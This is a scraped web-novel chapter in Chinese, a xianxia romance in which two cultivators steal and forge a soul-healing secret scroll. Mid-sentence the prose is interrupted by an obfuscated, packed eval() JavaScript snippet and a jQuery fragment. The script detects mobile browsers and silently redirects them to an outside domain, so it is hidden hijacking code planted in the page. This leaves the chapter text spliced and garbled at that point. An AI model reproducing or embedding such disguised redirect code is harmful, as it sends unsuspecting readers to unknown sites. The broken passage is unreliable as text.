25.偷梁换柱
作品:《被全宗门追杀后穿成宿敌剑灵》 云微眼神一凛,侧身挤入谢澜忱藏身的柜中,同时指尖灵力流转,一缕微不可察的幽光自袖中逸出,于地面迅速凝聚成形。
一头形似小熊,毛色黑黄相间,长着象鼻犀目、牛尾虎足的小兽悄然出现。
此兽以梦境为食,只需靠近,便能无声无息引动睡意。
若能引值守弟子入梦,他们便能寻机脱身。
柜门“咔哒”一声轻合,将最后一丝微光隔绝。
这柜子的内部远比外面看着更局促,两人几乎是胸膛相贴,鼻息交错。
云微能清晰地感觉到少年僵直的身体,略显急促的呼吸,衣料摩擦的窸窣,以及他极力想要压抑的心跳。
“那是食梦貘吗?”少年轻咳一声,低声问道。
“你从前在归云宗不是号称只修一剑、心无旁骛的苦修士吗?何时竟学了这等中看不中用、专司旁门左道的术法?”
他实在无法将这毛茸茸的小东西与眼前这个清冷如霜雪的大师姐联系起来。
毕竟,她除了剑,对其他术法向来嗤之以鼻。
云微没回答,指尖在身侧的柜壁上极轻、极快地叩击了两下。
一道无形的屏障瞬间笼罩住狭小的柜内空间,将柜内的声音隔绝。
“哄孩子用的。”她言简意赅。
“哄……孩子?”谢澜忱以为自己听错了,钴蓝色的眸子在黑暗中因惊愕而微微睁大。
这答案比看到食梦貘本身更让他难以置信。那个高高在上、目下无尘的云微大师姐,哄孩子?”
“嗯。”她应了一声。
“三年前,丹霞镇。我与几位同门诛杀为祸的水妖,救下被困百姓。有一个约莫八九岁的女孩,大概是被满地狼藉和血腥吓到,也可能是……”她顿了一下,“被我剑上未干的血迹惊着了,嚎啕大哭,怎么都哄不住。师妹师弟们轮流去哄去逗,收效甚微。”
“那孩子哭得几近昏厥,直往她母亲怀里钻,看我的眼神像看夜叉。那次之后,我觉得……或许除了剑,也该会点别的。至少,在吓哭小孩时,能让他安静下来,便去藏书阁翻了些记载奇闻异兽和安神小术的杂书,学了点皮毛。这小东西,吃噩梦,也能让人快速入眠,很安静,不会吓着人。”
少年彻底默然,那点轻鄙早消散无踪,喉间溢出一声极轻的嗤笑,却不知是在笑自己之前的偏见,还是笑她竟有这般不为人知的一面。
“刚才明明听到动静……”一个男弟子开口道。
“仔细搜!书架后、柱子边,一个角落都别放过!”另一个女弟子迅速接话,“此数日须严加看守,尤以那《归元养魂秘录》为要!”
脚步声很近,想必他们很快会搜到这里。
云微思绪飞转:少年方才的反应……绝非仅仅是奉令探查。
若真是奉令,发现有人潜入,要么立刻示警,要么出手擒拿,可他却选择藏匿柜中,手握秘录……见她的第一瞬,那凛冽的杀意做不得假。
他不知来者是她?还是……他本就想取走秘录,无论来者是谁?
他到底想做什么?父亲给了他什么命令?
云微心中疑窦丛生,决定直接试探。
“他们很快会搜到这里。”她冷声道。
“你如何进来的?宗主当真只让你‘探访’,而非监守自盗?你既在此,秘录在你手中,为何方才见我,第一反应是杀意?你不知来者可能是我?”
“我……自有我的法子进来!”他语气带着一丝被戳穿的急躁,声音却不由自主地低了下去,“宗主确是命我暗中查探,看是否有人觊觎秘录。我察觉有人潜入,匿于柜中本想…本想出其不意擒下。”
他顿了顿,又道:“怎知是你!若知是你,我……”
“若知是我,便不会躲在这里,还是不会对我出手?”云微平静地接上他的话。
谢澜忱语塞,只觉得脸上火烧火燎,连耳朵尖都烫得厉害。
他能怎么说?说他看到《归元养魂秘录》时,想到她残魂未稳急需此物,竟鬼使神差地取了想先一步带走?说他方才柜中乍见是她,那点杀意瞬间就被冲得七零八落?
这些心思,如何能宣之于口?尤其是在她面前。
他死死咬住下唇,在黑暗中狼狈地偏过头,用沉默对抗这让他心慌意乱的逼问。
“师姐,你看这柜门前……”男弟子的声音停在柜前不远处,带着疑惑。
“我看看……好生古怪的小兽?似熊非熊,象鼻牛尾……它……它好像在看我……眼睛好奇怪……”女弟子的声音由远及近,带着一丝茫然。
“唔……怎么……突然……好困……”她打了个大大的哈欠,话音开始含糊不清。
“是啊……眼皮……好重……”男弟子的声音也仿佛梦呓般,飘飘忽忽。
话音未落,便传来两声沉闷的“噗通”声,紧接着是均匀而沉重的鼾声。
云微侧耳细听片刻,确认再无其他动静,立刻推开柜门。
清冷的月光重新涌入眼中,只见那两名值守弟子已倒在地上,睡得人事不省。
那头小小的食梦貘正安静地蹲坐在旁边,象鼻轻轻耸动,仿佛在吸食着空气中无形的“梦”。
云微快步上前,蹲下身,伸手轻轻抚了抚食梦貘毛茸茸的脑袋。
小兽亲昵地用象鼻蹭了蹭她的掌心,随即化作一缕幽光,消散于她袖中。
她站起身,目光扫过地上呼呼大睡的两个弟子,又落回刚钻出柜子、面色犹带一丝不自然、正努力整理衣袍掩饰尴尬的谢澜忱身上。
“我们走。”云微言简意赅,指尖灵力一引,方才布下的隔音屏障无声消散。
少年眼神一凝:“我不能走。”
他为何要留下?是想反悔告发她,还是另有所图?云微心想。
“理由?”她问道。
谢澜忱双手抱臂,努力做出惯常的倨傲与冷硬:“我未骗你。我确是奉宗主之命在此查探。若此刻随你离去,值守弟子醒来发现秘录失窃,而我又失踪,第一个被怀疑的便是我。届时宗主震怒,彻查之下,你潜入之事未必能全然遮掩。”
言毕,他将手中那卷玉简抛给云微,“秘录你带走。我留下应对。就说我在此守株待兔,发现潜入者踪迹,交手后对方负伤遁走,我追赶不及,只来得及确认秘录已被盗取。如此,既能暂时平息风波,也能为你争取时间。”
云微稳稳接住玉简,入手冰凉,却仿佛带着少年掌心残留的温热。
他竟愿独自留下,只为护她周全,为她争取时间?
可此计虽行,却非万全。
一旦细究盘问,他擅自行动、甚至“丢失”玉简的嫌疑仍在,风险极大。
“此法可行,但不够稳妥。我父亲生性多疑,未必尽信你言。且秘录失窃,终是隐患,迟早会暴露。”云微开口。
少年面色一怔,迅速接话:“那当如何?总不能坐以待毙。”
“偷梁换柱。”云微吐出四字,目光扫向那空置的玄冰玉匣。
她并未立刻动手,而是凝神静气,指尖泛起一层极淡的银辉,探入手中的《归元养魂秘录》玉简之内。
数息之后,她以指代笔,凌空划动,指尖银辉渐淡,额角已沁出细汗。
末了,一枚外表、材质、气息皆与《归元养魂秘录》无二的赝品落入谢澜忱手中,她指尖却微微发颤。
云微此刻面色苍白,气息也微有不稳,但眼神依旧沉静,仿佛耗损心神只是微不足道的小事:“放回去。小心别触动玉匣原有禁制。”
少年接过赝品,入手温润,气息与真品毫无二致。
他抬眼看向云微,她眉宇间那抹难以掩饰的疲惫之色让他心头莫名一紧,既惊叹于她的手段,又为她强行施为耗损魂力而隐隐担忧,半晌才闷声道“知道了”,转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123165|175868||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身时耳尖微微发红,将赝品玉简放回玄冰玉匣内原本的位置。
玉简归位,匣内寒气流转,禁制光芒微微一闪,旋即恢复如常,没有引起任何异动。
做完这一切,两人径直跃出高窗,足尖在藏书阁外一株巨大的古树枝桠上借力一点,悄无声息地滑落地面,正是她来时撕开禁制缝隙的位置。
云微上前一步,指尖灵力凝聚,小心地弥合着禁制屏障上那道细微的缝隙,不留下丝毫被突破的痕迹。
“你对我……”他开口,钴蓝色的眸子在月光下亮得惊人,语气里带着点没头没脑的火气,尾音却微微发颤,“没有什么想说的吗?”
云微恰好将最后一丝缝隙完美弥合,禁制恢复如初,看不出丝毫破绽。
她回身,清冷的月光映着她略显苍白的面容:“怎么了?”
少年张了张嘴,最终只是有些狼狈地偏过头,闷声道:“……没什么。”
云微看着他别扭的样子,心中了然。
他不高兴。
大约是觉得自己对他毫无表示?认为自己过于冷漠?
眼下修复残魂、应对即将开始的宗门大比才是重中之重,她实在无暇顾及这少年复杂多变的心事。
她必须尽快参悟秘录。
恰在此时,不远处传来一队巡逻弟子低低的交谈声,正朝他们藏身的方向而来。
云微眼神一凛,将黑色面巾重新覆上。
她正欲凝神戒备,手腕忽被人攥住,跟着便被向后一推,撞上树干。
抬眼时,少年钴蓝的眸子在晦暗光线下沉沉盯着她。
“什么人!”巡逻队为首的弟子厉声喝道,手已按上腰间剑柄。
“是我。”少年从树后缓步踱出,目光锐利地扫过众人,“奉宗主密令,在藏书阁附近巡查。”
“谢…谢师兄?”为首的巡逻弟子借着月光看清来人,明显愣了一下,连忙行礼,语气恭敬中带着疑惑,“原来是谢师兄!不知师兄深夜在此,可有发现异样?”
云微隐在树后,借着枝叶缝隙偷望。
谢澜忱向来不喜与人周旋,此刻却要应付这些巡逻弟子,不知会露出什么破绽。
他虽倨傲,却非蠢人,只是……
“没有。”
少年眼也不眨,话出口干脆利落,仿佛多一个字都吝啬,半晌却又冷冷添了句:“宗主安危才是重中之重。大比在即,鱼龙混杂,尔等不去宗主居所外围严加巡防,反倒在此处喧哗盘查?”
巡逻弟子们闻言脸色骤变,为首者更是冷汗涔涔,连忙躬身:“师兄教训得是!是弟子等疏忽!”
说罢,众人再不敢多问一句,匆匆朝着宗主居所方向疾奔而去。
云微隐在暗处,将谢澜忱这番表演尽收眼底。
看来父亲这几年的“悉心栽培”,确实让他成长了不少,也更危险了。
她不再停留,趁着巡逻队被引开的空档,悄无声息地朝着自己暂居的竹舍而去。
*
竹舍内。
云微摘下覆面的黑色面巾,随手搁在桌上。
方才树后那瞬间的贴近与他沉沉的目光……她眸色微凝,将那丝异样压入心底。
她走到屋内的蒲团前盘膝坐下,将那卷触手温润的《归元养魂秘录》玉简置于膝前,深吸一口气,摒除杂念,灵识沉入玉简之中。
初始,秘录开篇的魂力运转法门清晰明了,与她残魂的渴求隐隐呼应,一丝微弱却精纯的滋养感缓缓渗入干涸的魂元。
她依循指引,调动体内残存的灵力,尝试修复自己的残魂。
然灵力行经未及三成,便如陷入泥沼,寸步难行,更有一股阴寒的逆气自玉简反噬而出,直冲她心脉。
云微喉头一甜,点点猩红染透素白衣襟,眼前阵阵发黑,勉力以手撑地方未倾倒。
秘录……是假的?还是被人动了手脚?